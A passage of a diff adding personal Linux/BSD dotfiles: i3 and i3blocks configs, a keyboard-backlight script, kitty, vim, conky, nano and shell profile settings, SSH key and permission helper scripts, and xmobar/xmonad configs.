+bindsym		$mod+s			layout stacking
+bindsym		$mod+w			layout tabbed
+bindsym 	$mod+e			layout toggle split
+
+# toggle tiling / floating
+bindsym		$mod+Shift+space	floating toggle
+
+# change focus between tiling / floating windows
+bindsym		$mod+space		focus mode_toggle
+
+# focus the parent container
+bindsym		$mod+a			focus parent
+
+set		$workspace1 "1 "
+set		$workspace2 "2 "
+set		$workspace3 "3 "
+set		$workspace4 "4 "
+set		$workspace5 "5 "
+set		$workspace6 "6 "
+set		$workspace7 "7 "
+set		$workspace8 "8 "
+set		$workspace9 "9 "
+set		$workspace10 "10 "
+
+# move focused container to workspace
+bindsym		$mod+Shift+1		move container to workspace $workspace1
+bindsym		$mod+Shift+2		move container to workspace $workspace2
+bindsym		$mod+Shift+3		move container to workspace $workspace3
+bindsym		$mod+Shift+4		move container to workspace $workspace4
+bindsym		$mod+Shift+5		move container to workspace $workspace5
+bindsym		$mod+Shift+6		move container to workspace $workspace6
+bindsym		$mod+Shift+7		move container to workspace $workspace7
+bindsym		$mod+Shift+8		move container to workspace $workspace8
+bindsym		$mod+Shift+9		move container to workspace $workspace9
+bindsym		$mod+Shift+0		move container to workspace $workspace10
+
+# switch to workspace
+bindsym		$mod+1 			workspace $workspace1
+bindsym		$mod+2 			workspace $workspace2
+bindsym		$mod+3 			workspace $workspace3
+bindsym		$mod+4 			workspace $workspace4
+bindsym		$mod+5 			workspace $workspace5
+bindsym		$mod+6 			workspace $workspace6
+bindsym		$mod+7 			workspace $workspace7
+bindsym		$mod+8 			workspace $workspace8
+bindsym		$mod+9 			workspace $workspace9
+bindsym		$mod+0 			workspace $workspace10
+
+# reload the configuration file
+bindsym 	$mod+Shift+c reload
+
+# restart i3 inplace
+bindsym 	$mod+Shift+r restart
+
+# exit i3
+bindsym 	$mod+Shift+e exec ~/.i3/scripts/exit_menu.sh
+
+
+# resize window (you can also use the mouse for that)
+mode "resize" {
+		bindsym h resize shrink width 10 px or 10 ppt
+		bindsym j resize grow height 10 px or 10 ppt
+		bindsym k resize shrink height 10 px or 10 ppt
+		bindsym l resize grow width 10 px or 10 ppt
+		
+		bindsym Left resize shrink width 10 px or 10 ppt
+		bindsym Down resize grow height 10 px or 10 ppt
+		bindsym Up resize shrink height 10 px or 10 ppt
+		bindsym Right resize grow width 10 px or 10 ppt
+		
+		bindsym Return mode "default"
+		bindsym Escape mode "default"
+}
+
+# resize mode
+bindsym		$mod+r mode "resize"
+
+set		$bg-colour		#441144
+set		$inactive-bg-colour	#331133
+set		$text-colour		#ff1174
+set		$inactive-text-colour	#c40008
+set		$urgent-bg-colour	#E53935
+
+# window colors
+#Border.		Background.		Text.			Indicator.		Colours.
+client.focused		$bg-colour		$bg-colour		$text-colour		#00ff00
+client.unfocused	$inactive-bg-colour	$inactive-bg-colour	$inactive-text-colour	#00ff00
+client.focused_inactive	$inactive-bg-colour	$inactive-bg-colour	$inactive-text-colour	#00ff00
+client.urgent		$urgent-bg-colour	$urgent-bg-colour	$text-colour		#00ff00
+
+# bar
+bar {
+	#status_command i3blocks -c ~/.config/i3/i3blocks.conf
+	status_command i3status -c ~/.config/i3/i3status.conf
+	position top
+	colors {
+		background $bg-colour
+		separator #757575
+		#                  border             background         text
+		focused_workspace  $bg-colour         $bg-colour          $text-colour
+		inactive_workspace $inactive-bg-colour $inactive-bg-colour $inactive-text-colour
+		urgent_workspace   $urgent-bg-colour   $urgent-bg-colour   $text-colour
+		}
+}
+
+
+# sticky window
+bindsym		$mod+Shift+s		sticky toggle
+
+# floating
+for_window	[class="qTox"]		floating enable
+for_window	[class="Pavucontrol"]	floating enable
+for_window	[class="Skype"]		floating enable
+
+# default workspaces
+assign		[class="Spotify"]	$workspace10
+assign		[class="Skype"]		$workspace9
+assign		[class="qTox"]		$workspace9
+
+# workspace default monitors
+workspace	$workspace1		output DVI-I-2
+workspace	$workspace2		output DVI-I-2
+workspace	$workspace3		output DVI-I-2
+workspace	$workspace4		output DVI-I-2
+workspace	$workspace5		output DVI-I-2
+workspace	$workspace6		output DVI-I-2
+workspace	$workspace9		output DVI-I-2
+workspace	$workspace10		output DVI-I-2
+
+# key-bindings
+#bindsym		XF86AudioRaiseVolume	exec --no-startup-id pactl set-sink-volume 2 +5% #increase sound volume
+#bindsym		XF86AudioLowerVolume	exec --no-startup-id pactl set-sink-volume 2 -5% #decrease sound volume
+#bindsym		XF86AudioMute		exec --no-startup-id pactl set-sink-mute 2 toggle # mute sound
+#bindsym		XF86AudioPlay		exec playerctl play-pause
+#bindsym		XF86AudioPause		exec playerctl play-pause
+#bindsym		XF86AudioNext		exec playerctl next
+#bindsym		XF86AudioPrev		exec playerctl previous
+bindsym		$mod+Shift+f		exec firefox
+bindsym		$mod+Shift+l		exec libreoffice
+bindsym		$mod+Return		exec urxvt
+bindsym		$mod+Shift+q		kill
+bindsym		Print			exec xfce4-screenshot
+bindsym		$mod+d			exec rofi -show drun -lines 3 -eh 2 -width 60 -padding 20 -opacity "85" -bw 0 -bc "$bg-colour" -bg "$bg-colour" -fg "$text-colour" -hlbg "$bg-colour" -hlfg "#955995" -font "Sans 11"
+
+# startup
+#exec_always xrandr --output DisplayPort-0 --off --output DisplayPort-1 --mode 1280x1024 --pos 1920x0 --rotate normal --output HDMI-A-0 --off --output HDMI-A-1 --off --output DVI-D-0 --primary --mode 1920x1080 --pos 0x0 --rotate normal
+#exec_always --no-startup-id feh --bg-scale ~/Pictures/GNU/GNU_1920_1080_Dark.png
+exec_always --no-startup-id feh --bg-scale ~/Pictures/Wallpapers/wallpaper.jpg
+exec redshift -O 4500
+exec setxkbmap gb
+
+#exec --no-startup-id compton -f
blob - /dev/null
blob + 52fe79af1820247700dc93d2ff47ff75c51a6ce5 (mode 755)
--- /dev/null
+++ .config/i3/i3blocks.conf
@@ -0,0 +1,149 @@
+#      _ ____  _     _            _           _____             __ _       
+#     (_)___ \| |   | |          | |         / ____|           / _(_)      
+#      _  __) | |__ | | ___   ___| | _____  | |     ___  _ __ | |_ _  __ _ 
+#     | ||__ <| '_ \| |/ _ \ / __| |/ / __| | |    / _ \| '_ \|  _| |/ _` |
+#     | |___) | |_) | | (_) | (__|   <\__ \ | |___| (_) | | | | | | | (_| |
+#     |_|____/|_.__/|_|\___/ \___|_|\_\___/  \_____\___/|_| |_|_| |_|\__, |
+#                                                                     __/ |
+#                                                                    |___/ 
+
+# Global properties
+#
+# The top properties below are applied to every block, but can be overridden.
+# Each block command defaults to the script name to avoid boilerplate.
+command=/usr/share/i3blocks/$BLOCK_NAME
+separator_block_width=1
+markup=none
+
+# Volume indicator
+#
+# The first parameter sets the step (and units to display)
+# The second parameter overrides the mixer selection
+# See the script for details.
+#[volume]
+#label=VOL
+#label=♪
+#instance=Master
+#instance=PCM
+#interval=1
+#signal=10
+#command=~/.i3/scripts/volume
+
+# Memory usage
+#
+# The type defaults to "mem" if the instance is not specified.
+[memory]
+label=
+color=#999999
+separator=false
+interval=30
+
+#[memory]
+#label=SWAP
+#instance=swap
+#separator=false
+#interval=30
+
+# Disk usage
+#
+# The directory defaults to $HOME if the instance is not specified.
+# The script may be called with a optional argument to set the alert
+# (defaults to 10 for 10%).
+[disk]
+label=
+color=#999999
+instance=/
+interval=30
+
+# Network interface monitoring
+#
+# If the instance is not specified, use the interface used for default route.
+# The address can be forced to IPv4 or IPv6 with -4 or -6 switches.
+[iface]
+instance=wlo1
+label=
+color=#008800
+interval=10
+separator=false
+
+[wifi]
+label=
+instance=wlo1
+interval=10
+separator=false
+
+#[bandwidth]
+#label=
+#instance=wlo1
+#interval=5
+
+# CPU usage
+#
+# The script may be called with -w and -c switches to specify thresholds,
+# see the script for details.
+#[cpu_usage]
+#label=CPU
+#interval=10
+#min_width=CPU: 100.00%
+#separator=false
+
+#[load_average]
+#label=Load =
+#interval=10
+
+# Temperature
+#
+# Support multiple chips, though lm-sensors.
+# The script may be called with -w and -c switches to specify thresholds,
+# see the script for details.
+#[temperature]
+#label=TEMP
+#interval=10
+
+# Battery indicator
+#
+# The battery instance defaults to 0.
+[battery]
+label=BAT
+label=
+color=#999999
+instance=0
+interval=30
+
+# Date Time
+#
+[time]
+color=#FF0000
+command=date '+%Y-%m-%d %H:%M:%S'
+interval=1
+
+# Generic media player support
+#
+# This displays "ARTIST - SONG" if a music is playing.
+# Supported players are: spotify, vlc, audacious, xmms2, mplayer, and others.
+#[mediaplayer]
+#instance=spotify
+#interval=5
+#signal=10
+
+# OpenVPN support
+#
+# Support multiple VPN, with colors.
+#[openvpn]
+#interval=20
+
+# Key indicators
+#
+# Add the following bindings to i3 config file:
+#
+# bindsym --release Caps_Lock exec pkill -SIGRTMIN+11 i3blocks
+# bindsym --release Num_Lock  exec pkill -SIGRTMIN+11 i3blocks
+#[keyindicator]
+#instance=CAPS
+#interval=once
+#signal=11
+
+#[keyindicator]
+#instance=NUM
+#interval=once
+#signal=11
blob - /dev/null
blob + bd3866ebf172fdd570b50cb1ebf2eb8bff388d7d (mode 755)
--- /dev/null
+++ .config/i3/scripts/keyboard-up.sh
@@ -0,0 +1,21 @@
+#!/bin/sh
+  
+if [ ! -f kbdvar.txt ]; then
+        touch kbdvar.txt
+        echo 0 > kbdvar.txt
+fi
+
+var=`cat kbdvar.txt`
+
+if [ $var -gt "255" ]; then
+        var=255
+elif [ $var -lt "0" ]; then
+        var=0
+fi
+
+let "var=var+12"
+echo "$var" > kbdvar.txt
+
+cat kbdvar.txt > /sys/class/leds/spi\:\:kbd_backlight/brightness
+
+exit 0
blob - /dev/null
blob + 34c752eddcee4b7fad34f50691379f33eb866c3c (mode 755)
--- /dev/null
+++ .config/kitty/kitty.conf
@@ -0,0 +1,191 @@
+# vim:fileencoding=utf-8:ft=conf
+
+# Fully featured
+font_family      monaco
+italic_font      auto
+bold_font        auto
+bold_italic_font auto
+
+# Font size (in pts)
+font_size        11.0
+
+# The amount the font size is changed by (in pts) when increasing/decreasing
+# the font size in a running terminal.
+font_size_delta 2
+
+# Nord theme - ported from https://github.com/arcticicestudio/nord-hyper
+foreground            #ff0000
+background            #000000
+selection_foreground  #000000
+selection_background  #FFFACD
+url_color             #0087BD
+cursor                #660000
+
+# black
+color0   #3B4252
+color8   #4C566A
+
+# red
+color1   #BF616A
+color9   #BF616A
+
+# green
+color2   #A3BE8C
+color10  #A3BE8C
+
+# yellow
+color3   #EBCB8B
+color11  #EBCB8B
+
+# blue
+color4  #81A1C1
+color12 #81A1C1
+
+# magenta
+color5   #B48EAD
+color13  #B48EAD
+
+# cyan
+color6   #88C0D0
+color14  #8FBCBB
+
+# white
+color7   #E5E9F0
+color15  #B48EAD
+
+# Mouse & cursor
+# cursor_blink_interval     1.0
+# cursor_stop_blinking_after 4.0
+# one of (block, beam, underline)
+cursor_shape     beam
+mouse_hide_wait 3.0
+
+scrollback_lines 10000
+scrollback_pager less +G -R
+scrollback_in_new_tab no
+
+# Wheel scroll multiplier (modify the amount scrolled by the mouse wheel). Use negative
+# numbers to change scroll direction.
+wheel_scroll_multiplier 5.0
+
+# The interval between successive clicks to detect double/triple clicks (in seconds)
+click_interval 0.5
+
+#Select for double clicking
+select_by_word_characters :@-./_~?&=%+#
+
+#don't care, use i3.
+focus_follows_mouse yes
+remember_window_size   no
+enabled_layouts *
+initial_window_width   640
+initial_window_height  400
+
+# 10 yields ~100 FPS which is more than sufficient for most uses.
+repaint_delay    10
+
+# Delay (in milliseconds) before input from the program running in the terminal
+# is processed.
+input_delay 3
+
+#bell
+visual_bell_duration 0.1
+enable_audio_bell yes
+
+# The modifier keys to press when clicking with the mouse on URLs to open the URL
+open_url_modifiers cmd
+open_url_with default
+
+# Choose whether to use the system implementation of wcwidth() (used to
+# control how many cells a character is rendered in).  If you use the system
+# implementation, then kitty and any programs running in it will agree. The
+# problem is that system implementations often are based on outdated unicode
+# standards and get the width of many characters, such as emoji, wrong. So if
+# you are using kitty with programs that have their own up-to-date wcwidth()
+# implementation, set this option to no.
+use_system_wcwidth yes
+
+# The value of the TERM environment variable to set
+term xterm-kitty
+
+#window decorations
+window_border_width 1
+window_padding_width 0
+active_border_color #00ff00
+inactive_border_color #cccccc
+
+# Tab-bar colors
+active_tab_foreground #000
+active_tab_background #eee
+inactive_tab_foreground #444
+inactive_tab_background #999
+
+
+# Key mappings
+
+# Clipboard
+map cmd+v        paste_from_clipboard
+map ctrl+shift+s        paste_from_selection
+map cmd+c        copy_to_clipboard
+map shift+insert        paste_from_selection
+map ctrl+shift+o      pass_selection_to_program google-chrome
+# map ctrl+shift+o        pass_selection_to_program
+
+# Scrolling
+map ctrl+shift+up        scroll_line_up
+map ctrl+shift+down      scroll_line_down
+map ctrl+shift+k         scroll_line_up
+map ctrl+shift+j         scroll_line_down
+map ctrl+shift+page_up   scroll_page_up
+map ctrl+shift+page_down scroll_page_down
+map ctrl+shift+home      scroll_home
+map ctrl+shift+end       scroll_end
+map ctrl+shift+h         show_scrollback
+
+# Window management
+map ctrl+shift+enter    new_window
+map ctrl+shift+w        close_window
+map ctrl+shift+]        next_window
+map ctrl+shift+[        previous_window
+map ctrl+shift+f        move_window_forward
+map ctrl+shift+b        move_window_backward
+map ctrl+shift+`        move_window_to_top
+map ctrl+shift+1        first_window
+map ctrl+shift+2        second_window
+map ctrl+shift+3        third_window
+map ctrl+shift+4        fourth_window
+map ctrl+shift+5        fifth_window
+map ctrl+shift+6        sixth_window
+map ctrl+shift+7        seventh_window
+map ctrl+shift+8        eighth_window
+map ctrl+shift+9        ninth_window
+map ctrl+shift+0        tenth_window
+# You can also open a new window running an arbitrary program, for example:
+# map ctrl+shift+y      new_window mutt
+# You can also pass the current selection to the new program by using the @selection placeholder
+# map ctrl+shift+y      new_window less @selection
+# Finally, you can even send the contents of the current screen + history buffer as stdin using
+# the placeholders @text (which is the plain text) and @ansi (which includes text styling escape codes)
+# For example, the following command opens the scrollback buffer in less in a new window.
+# map ctrl+shift+y      new_window @ansi less +G -R
+
+
+# Tab management
+map cmd+right    next_tab
+map cmd+left     previous_tab
+map cmd+t        new_tab
+map cmd+w        close_tab
+map ctrl+shift+l        next_layout
+map ctrl+shift+.        move_tab_forward
+map ctrl+shift+,        move_tab_backward
+# Just as with new_window above, you can also pass the name of arbitrary
+# commands to run when using new_tab.
+
+# Miscellaneous
+map cmd+equal    increase_font_size
+map cmd+minus    decrease_font_size
+map cmd+backspace restore_font_size
+map cmd+enter      toggle_fullscreen
+
+background_opacity 0.6
+dynamic_background_opacity yes
blob - /dev/null
blob + 1c28cadac0e1f747b5d4521cbf309fc6a5e436f8 (mode 755)
--- /dev/null
+++ .config/vim/mswin
@@ -0,0 +1,126 @@
+" Set options and add mapping such that Vim behaves a lot like MS-Windows
+"
+" Maintainer:	The Vim Project <https://github.com/vim/vim>
+" Last Change:	2023 Aug 10
+" Former Maintainer:	Bram Moolenaar <[email protected]>
+
+" Bail out if this isn't wanted.
+if exists("g:skip_loading_mswin") && g:skip_loading_mswin
+  finish
+endif
+
+" set the 'cpoptions' to its Vim default
+if 1	" only do this when compiled with expression evaluation
+  let s:save_cpo = &cpoptions
+endif
+set cpo&vim
+
+" set 'selection', 'selectmode', 'mousemodel' and 'keymodel' for MS-Windows
+behave mswin
+
+" backspace and cursor keys wrap to previous/next line
+set backspace=indent,eol,start whichwrap+=<,>,[,]
+
+" backspace in Visual mode deletes selection
+vnoremap <BS> d
+
+if has("clipboard")
+    " CTRL-X and SHIFT-Del are Cut
+    vnoremap <C-X> "+x
+    vnoremap <S-Del> "+x
+
+    " CTRL-C and CTRL-Insert are Copy
+    vnoremap <C-C> "+y
+    vnoremap <C-Insert> "+y
+
+    " CTRL-V and SHIFT-Insert are Paste
+    map <C-V>		"+gP
+    map <S-Insert>		"+gP
+
+    cmap <C-V>		<C-R>+
+    cmap <S-Insert>		<C-R>+
+endif
+
+" Pasting blockwise and linewise selections is not possible in Insert and
+" Visual mode without the +virtualedit feature.  They are pasted as if they
+" were characterwise instead.
+" Uses the paste.vim autoload script.
+" Use CTRL-G u to have CTRL-Z only undo the paste.
+
+if 1
+    exe 'inoremap <script> <C-V> <C-G>u' . paste#paste_cmd['i']
+    exe 'vnoremap <script> <C-V> ' . paste#paste_cmd['v']
+endif
+
+imap <S-Insert>		<C-V>
+vmap <S-Insert>		<C-V>
+
+" Use CTRL-Q to do what CTRL-V used to do
+noremap <C-Q>		<C-V>
+
+" Use CTRL-S for saving, also in Insert mode (<C-O> doesn't work well when
+" using completions).
+noremap <C-S>		:update<CR>
+vnoremap <C-S>		<C-C>:update<CR>
+inoremap <C-S>		<Esc>:update<CR>gi
+
+" For CTRL-V to work autoselect must be off.
+" On Unix we have two selections, autoselect can be used.
+if !has("unix")
+  set guioptions-=a
+endif
+
+" CTRL-Z is Undo; not in cmdline though
+noremap <C-Z> u
+inoremap <C-Z> <C-O>u
+
+" CTRL-Y is Redo (although not repeat); not in cmdline though
+noremap <C-Y> <C-R>
+inoremap <C-Y> <C-O><C-R>
+
+" Alt-Space is System menu
+if has("gui")
+  noremap <M-Space> :simalt ~<CR>
+  inoremap <M-Space> <C-O>:simalt ~<CR>
+  cnoremap <M-Space> <C-C>:simalt ~<CR>
+endif
+
+" CTRL-A is Select all
+noremap <C-A> gggH<C-O>G
+inoremap <C-A> <C-O>gg<C-O>gH<C-O>G
+cnoremap <C-A> <C-C>gggH<C-O>G
+onoremap <C-A> <C-C>gggH<C-O>G
+snoremap <C-A> <C-C>gggH<C-O>G
+xnoremap <C-A> <C-C>ggVG
+
+" CTRL-Tab is Next window
+noremap <C-Tab> <C-W>w
+inoremap <C-Tab> <C-O><C-W>w
+cnoremap <C-Tab> <C-C><C-W>w
+onoremap <C-Tab> <C-C><C-W>w
+
+" CTRL-F4 is Close window
+noremap <C-F4> <C-W>c
+inoremap <C-F4> <C-O><C-W>c
+cnoremap <C-F4> <C-C><C-W>c
+onoremap <C-F4> <C-C><C-W>c
+
+if has("gui")
+  " CTRL-F is the search dialog
+  noremap  <expr> <C-F> has("gui_running") ? ":promptfind\<CR>" : "/"
+  inoremap <expr> <C-F> has("gui_running") ? "\<C-\>\<C-O>:promptfind\<CR>" : "\<C-\>\<C-O>/"
+  cnoremap <expr> <C-F> has("gui_running") ? "\<C-\>\<C-C>:promptfind\<CR>" : "\<C-\>\<C-O>/"
+
+  " CTRL-H is the replace dialog,
+  " but in console, it might be backspace, so don't map it there
+  nnoremap <expr> <C-H> has("gui_running") ? ":promptrepl\<CR>" : "\<C-H>"
+  inoremap <expr> <C-H> has("gui_running") ? "\<C-\>\<C-O>:promptrepl\<CR>" : "\<C-H>"
+  cnoremap <expr> <C-H> has("gui_running") ? "\<C-\>\<C-C>:promptrepl\<CR>" : "\<C-H>"
+endif
+
+" restore 'cpoptions'
+set cpo&
+if 1
+  let &cpoptions = s:save_cpo
+  unlet s:save_cpo
+endif
blob - /dev/null
blob + 807a6a3e5022146df92c022f46d54ac10f22a41e (mode 755)
--- /dev/null
+++ .config/vim/vimrc
@@ -0,0 +1,13 @@
+" Set colour scheme.
+colorscheme torte
+" Enable colour coding for Vim.
+syntax on
+" Set file encoding from ANSI to UTF-8.
+set encoding=utf-8
+set fileencoding=utf-8
+" Fix potential Vim backspace issue.
+set backspace=2
+" Set tab as 2 spaces.
+set tabstop=2 softtabstop=0 expandtab shiftwidth=2 smarttab
+" Enable line numbers.
+set number
blob - /dev/null
blob + d4e8c6bb8dcc3c15fabb0c81181f8b331057e6dd (mode 755)
--- /dev/null
+++ .conkyrc
@@ -0,0 +1,68 @@
+--[[
+    .conkyrc config
+]]
+
+conky.config = {
+    alignment = 'top_right',
+    background = false,
+    border_width = 1,
+    cpu_avg_samples = 2,
+	default_color = '#61b0e9',
+    default_outline_color = 'white',
+    default_shade_color = 'white',
+    draw_borders = true,
+    draw_graph_borders = true,
+    draw_outline = false,
+    draw_shades = false,
+    use_xft = true,
+    font = 'Noto Mono:Regular:size=9',
+    gap_x = 1366,
+    gap_y = 32,
+    minimum_height = 5,
+	minimum_width = 5,
+    net_avg_samples = 2,
+    no_buffers = true,
+    out_to_console = false,
+    out_to_stderr = false,
+    extra_newline = false,
+    own_window = true,
+    own_window_class = 'Conky',
+    own_window_type = 'desktop',
+    -- own_window_transparent = true,
+    own_window_hints = 'undecorated,sticky,skip_taskbar,skip_pager,below',
+    own_window_argb_visual = true,
+    stippled_borders = 0,
+    update_interval = 1.0,
+    uppercase = false,
+    use_spacer = 'none',
+    show_graph_scale = false,
+    show_graph_range = false
+}
+
+conky.text = [[
+$nodename - $sysname $kernel on $machine
+${hr 2}
+${color #063c96}Uptime:$color $uptime
+${color #063c96}Frequency:$color $freq_g GHz
+${color #063c96}RAM Usage:$color $mem/$memmax - $memperc% ${membar 4}
+${color #063c96}Swap Usage:$color $swap/$swapmax - $swapperc% ${swapbar 4}
+${color #063c96}CPU Usage:$color $cpu% ${cpubar 4}
+${color #063c96}Processes:$color $processes  ${color #063c96}Running:$color $running_processes
+$hr
+${color #063c96}Name              PID   CPU%   MEM%
+${color #0850c9} ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}
+${color #0850c9} ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}
+${color #0850c9} ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}
+${color #0850c9} ${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}
+${color #0850c9} ${top name 5} ${top pid 5} ${top cpu 5} ${top mem 5}
+${color #0850c9} ${top name 6} ${top pid 6} ${top cpu 6} ${top mem 6}
+${color #0850c9} ${top name 7} ${top pid 7} ${top cpu 7} ${top mem 7}
+${color #0850c9} ${top name 8} ${top pid 8} ${top cpu 8} ${top mem 8}
+${color #0850c9} ${top name 9} ${top pid 9} ${top cpu 9} ${top mem 9}
+${color #0850c9} ${top name 10} ${top pid 10} ${top cpu 10} ${top mem 10}
+$hr
+${color #063c96}File systems:
+ / $color${fs_used /}/${fs_size /} ${fs_bar 6 /}
+${color #063c96}Networking:
+Up:$color ${upspeed enp4s0} ${color #063c96} - Down: $color ${downspeed enp4s0}
+]]
blob - /dev/null
blob + c2a7f483b5c38d72bd108db624a63beba150e361 (mode 755)
--- /dev/null
+++ .nanorc
@@ -0,0 +1,11 @@
+#    _ __   __ _ _ __   ___  _ __ ___
+#   | '_ \ / _` | '_ \ / _ \| '__/ __|
+#  _| | | | (_| | | | | (_) | | | (__
+# (_)_| |_|\__,_|_| |_|\___/|_|  \___|
+
+include /usr/share/nano/*.nanorc
+
+set autoindent
+set speller "aspell -x -c "
+set tabsize 2
+set tabstospaces
blob - /dev/null
blob + c7e4a7cc245232d78579d31b6476a351c9dd9269 (mode 755)
--- /dev/null
+++ .profile
@@ -0,0 +1,19 @@
+# $OpenBSD: dot.profile,v 1.8 2022/08/10 07:40:37 tb Exp $
+#
+# sh/ksh initialization
+
+PATH=$HOME/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6/bin:/usr/local/bin:/usr/local/sbin
+export PATH HOME TERM
+
+#HISTSIZE=1000
+#HISTFILE=.ksh_history
+#export HISTSIZE HISTFILE
+
+export PS1=$(print '\033[33m\h\033[32m\$\033[00m ')
+#root - export PS1=$(print '\033[33m\h\033[31m\$\033[00m ')
+export EDITOR="vim"
+## Aliases break without this line.
+alias doas='doas '
+alias ls='colorls -G'
+## Fix arrow-keys.
+set -o emacs
blob - /dev/null
blob + 035b5843a6de86761238cd75b9087c8ca8bea7bc (mode 755)
--- /dev/null
+++ .ssh/ssh_key.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+ssh-keygen -o -t rsa -b 8192 -a 128 -C "" -f ~/.ssh/id_rsa
blob - /dev/null
blob + 7651fb42973c23d985e4f91cdd0af97323d303e6 (mode 755)
--- /dev/null
+++ .ssh/ssh_permissions.sh
@@ -0,0 +1,5 @@
+#!/bin/bash
+
+chmod 700 ~/.ssh
+chmod 644 ~/.ssh/authorized_keys
+chmod 600 ~/.ssh/id_rsa
blob - /dev/null
blob + 4cf5af9ea39a80c98efca157b9f0914ae79e50b8 (mode 755)
--- /dev/null
+++ .vimrc
@@ -0,0 +1,4 @@
+" Main '.vimrc'.
+source ~/.config/vim/vimrc
+" Remap a few keys for Windows behaviour.
+source ~/.config/vim/mswin.vim
blob - /dev/null
blob + c8553324c93de6d01088376ceb10d3f99a51abe7 (mode 755)
--- /dev/null
+++ .xmonad/xmobar.hs
@@ -0,0 +1,32 @@
+--                       _                _         
+--                      | |              | |        
+-- __  ___ __ ___   ___ | |__   __ _ _ __| |__  ___ 
+-- \ \/ / '_ ` _ \ / _ \| '_ \ / _` | '__| '_ \/ __|
+--  >  <| | | | | | (_) | |_) | (_| | |_ | | | \__ \
+-- /_/\_\_| |_| |_|\___/|_.__/ \__,_|_(_)|_| |_|___/
+--                                                  
+
+-- xmobar config used by Vic Fryzel
+-- Author: Vic Fryzel
+-- http://github.com/vicfryzel/xmonad-config
+
+-- This is setup for a single 1920x1080 monitor
+Config {
+    font = "xft:Fixed-8",
+    bgColor = "#000000",
+    fgColor = "#990000",
+    position = Static { xpos = 0, ypos = 0, width = 1920, height = 14 },
+    lowerOnStart = True,
+    commands = [
+        Run Weather "KPAO" ["-t","<tempF>F <skyCondition>","-L","64","-H","77","-n","#CEFFAC","-h","#FFB6B0","-l","#96CBFE"] 36000,
+        Run MultiCpu ["-t","Cpu: <total0> <total1> <total2> <total3>","-L","30","-H","60","-h","#FFB6B0","-l","#CEFFAC","-n","#FFFFCC","-w","3"] 10,
+        Run Memory ["-t","Mem: <usedratio>%","-H","8192","-L","4096","-h","#FFB6B0","-l","#CEFFAC","-n","#FFFFCC"] 10,
+        Run Swap ["-t","Swap: <usedratio>%","-H","1024","-L","512","-h","#FFB6B0","-l","#CEFFAC","-n","#FFFFCC"] 10,
+        Run Network "enp4s0" ["-t","Net: <rx>, <tx>","-H","200","-L","10","-h","#FFB6B0","-l","#CEFFAC","-n","#FFFFCC"] 10,
+        Run Date "%a %b %_d %l:%M" "date" 10,
+        Run StdinReader
+    ],
+    sepChar = "%",
+    alignSep = "}{",
+    template = "%StdinReader% }{ %multicpu%   %memory%   %swap%   %em1%   <fc=#FFFFCC>%date%</fc>   %KPAO%"
+}
blob - /dev/null
blob + 2188f10904879b1f81ddf45a9d9a64775b0e5b02 (mode 755)
--- /dev/null
+++ .xmonad/xmonad.hs
@@ -0,0 +1,398 @@
+--                                        _   _         
+--                                       | | | |        
+--  __  ___ __ ___   ___  _ __   __ _  __| | | |__  ___ 
+--  \ \/ / '_ ` _ \ / _ \| '_ \ / _` |/ _` | | '_ \/ __|
+--   >  <| | | | | | (_) | | | | (_| | (_| |_| | | \__ \
+--  /_/\_\_| |_| |_|\___/|_| |_|\__,_|\__,_(_)_| |_|___/
+--                                                     
+
+-- xmonad config used by Vic Fryzel
+-- Author: Vic Fryzel
+-- http://github.com/vicfryzel/xmonad-config
+
+import System.IO
+import System.Exit
+import XMonad
+import XMonad.Hooks.DynamicLog
+import XMonad.Hooks.ManageDocks
+import XMonad.Hooks.ManageHelpers
+import XMonad.Hooks.SetWMName
+import XMonad.Layout.Fullscreen
+import XMonad.Layout.NoBorders
+import XMonad.Layout.Spiral
+import XMonad.Layout.Tabbed
+import XMonad.Layout.ThreeColumns
+import XMonad.Util.Run(spawnPipe)
+import XMonad.Util.EZConfig(additionalKeys)
+import Graphics.X11.ExtraTypes.XF86
+import qualified XMonad.StackSet as W
+import qualified Data.Map        as M
+
+
+------------------------------------------------------------------------
+-- Terminal
+-- The preferred terminal program, which is used in a binding below and by
+-- certain contrib modules.
+--
+myTerminal = "urxvt"
+
+-- The command to lock the screen or show the screensaver.
+myScreensaver = "xscreensaver"
+
+-- The command to take a selective screenshot, where you select
+-- what you'd like to capture on the screen.
+mySelectScreenshot = "select-screenshot"
+
+-- The command to take a fullscreen screenshot.
+myScreenshot = "screenshot"
+
+-- The command to use as a launcher, to launch commands that don't have
+-- preset keybindings.
+myLauncher = "dmenu"
+
+
+------------------------------------------------------------------------
+-- Workspaces
+-- The default number of workspaces (virtual screens) and their names.
+--
+myWorkspaces = ["1:Terminal","2:Firefox","3:Programming","4:VirtualBox","5:VLC", "6:Steam"] ++ map show [7..9]
+
+
+------------------------------------------------------------------------
+-- Window rules
+-- Execute arbitrary actions and WindowSet manipulations when managing
+-- a new window. You can use this to, for example, always float a
+-- particular program, or have a client always appear on a particular
+-- workspace.
+--
+-- To find the property name associated with a program, use
+-- > xprop | grep WM_CLASS
+-- and click on the client you're interested in.
+--
+-- To match on the WM_NAME, you can use 'title' in the same way that
+-- 'className' and 'resource' are used below.
+--
+myManageHook = composeAll
+    [ className =? "firefox"        --> doShift "2:Firefox"
+    , className =? "urxvt"          --> doFloat
+    , resource  =? "desktop_window" --> doIgnore
+    , className =? "Galculator"     --> doFloat
+    , className =? "Steam"          --> doFloat
+    , className =? "Gimp"           --> doFloat
+    , resource  =? "gpicview"       --> doFloat
+    , className =? "MPlayer"        --> doFloat
+    , className =? "VirtualBox"     --> doShift "4:VirtualBox"
+    , className =? "vlc"            --> doShift "5:VLC"
+    , className =? "stalonetray"    --> doIgnore
+    , isFullscreen --> (doF W.focusDown <+> doFullFloat)]
+
+
+------------------------------------------------------------------------
+-- Layouts
+-- You can specify and transform your layouts by modifying these values.
+-- If you change layout bindings be sure to use 'mod-shift-space' after
+-- restarting (with 'mod-q') to reset your layout state to the new
+-- defaults, as xmonad preserves your old layout settings by default.
+--
+-- The available layouts.  Note that each layout is separated by |||,
+-- which denotes layout choice.
+--
+myLayout = avoidStruts (
+    ThreeColMid 1 (3/100) (1/2) |||
+    Tall 1 (3/100) (1/2) |||
+    Mirror (Tall 1 (3/100) (1/2)) |||
+    tabbed shrinkText tabConfig |||
+    Full |||
+    spiral (6/7)) |||
